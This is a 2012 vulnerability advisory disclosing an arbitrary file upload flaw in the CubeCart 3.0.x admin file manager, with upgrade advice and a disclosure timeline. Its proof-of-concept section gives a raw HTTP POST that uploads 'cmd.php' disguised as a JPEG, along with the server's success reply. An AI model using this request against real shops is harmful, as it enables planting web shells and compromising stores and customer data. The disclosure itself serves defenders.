============================================================ CubeCart 3.0.20 (3.0.x) and lower | Arbitrary File Upload ============================================================ 1. OVERVIEW CubeCart 3.0.20 and lower versions are vulnerable to Arbitrary File Upload. 2. BACKGROUND CubeCart is an "out of the box" ecommerce shopping cart software solution which has been written to run on servers that have PHP & MySQL support. With CubeCart you can quickly setup a powerful online store which can be used to sell digital or tangible products to new and existing customers all over the world. 3. VULNERABILITY DESCRIPTION CubeCart 3.0.20 and lower versions contain a flaw related to the /admin/filemanager/upload.php script's failure to properly validate uploaded files. This may allow a remote attacker to upload arbitrary files and execute arbitrary code via a request to the 'atm-regen' parameter. 4. VERSIONS AFFECTED 3.0.20 and lower (aka 3.0.x family) 5. PROOF-OF-CONCEPT/EXPLOIT Set content type to image/jpeg and upload. Uploaded files are stored at images/uploads. ///////////////////////////////////////////////////////////////////// POST /admin/filemanager/upload.php HTTP/1.1 Host:localhost Referer: http://localhost/cube/admin/filemanager/upload.php?custom=1&redir=0 Cookie: ccSIDb4c410adddf67168ce2ac0e2807326f8=f2c0bc69b813778a644b76c2b40c7ce0; Content-Type: multipart/form-data; boundary=---------------------------24464570528145 Content-Length: 29 -----------------------------24464570528145 Content-Disposition: form-data; name="FCKeditor_File"; filename="cmd.php" Content-Type: image/jpeg -----------------------------24464570528145 Content-Disposition: form-data; name="submit" Upload Image -----------------------------24464570528145 Content-Disposition: form-data; name="redir" 0 -----------------------------24464570528145 Content-Disposition: form-data; name="custom" 1 -----------------------------24464570528145-- ////////////////////////////////////////////////////////////////////////////////////// HTTP/1.1 200 OK Server: Apache Content-Length: 738 Content-Type: text/html File Uploader

Upload Image

Success: cmd.php uploaded.

/////////////////////////////////////////////////////////////// 6. SOLUTION The CubeCart 3.0.x version family is no longer maintained by the vendor. Upgrade to the currently supported CubeCart version - 5.x. 7. VENDOR CubeCart Development Team http://cubecart.com/ 8. CREDIT Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar. 9. DISCLOSURE TIME-LINE 2011-06-02: CubeCart 3.0.x in End-of-Support/Maintenance circle 2012-12-22: Vulnerability disclosed 10. REFERENCES Original Advisory URL: http://yehg.net/lab/pr0js/advisories/%5Bcubecart_3.0.20_3.0x%5D_arbitrary_file_upload CubeCart Home Page: http://cubecart.com/ CubeCart 3.x EOL Announcement: http://forums.cubecart.com/topic/42198-cubecart-v3-v4-end-of-life-announcement/ CubeCart 5 Release Announcement: CubeCart 5 Release Announcement: http://forums.cubecart.com/topic/43622-cubecart-500-rc1-released/ #yehg [2012-12-22]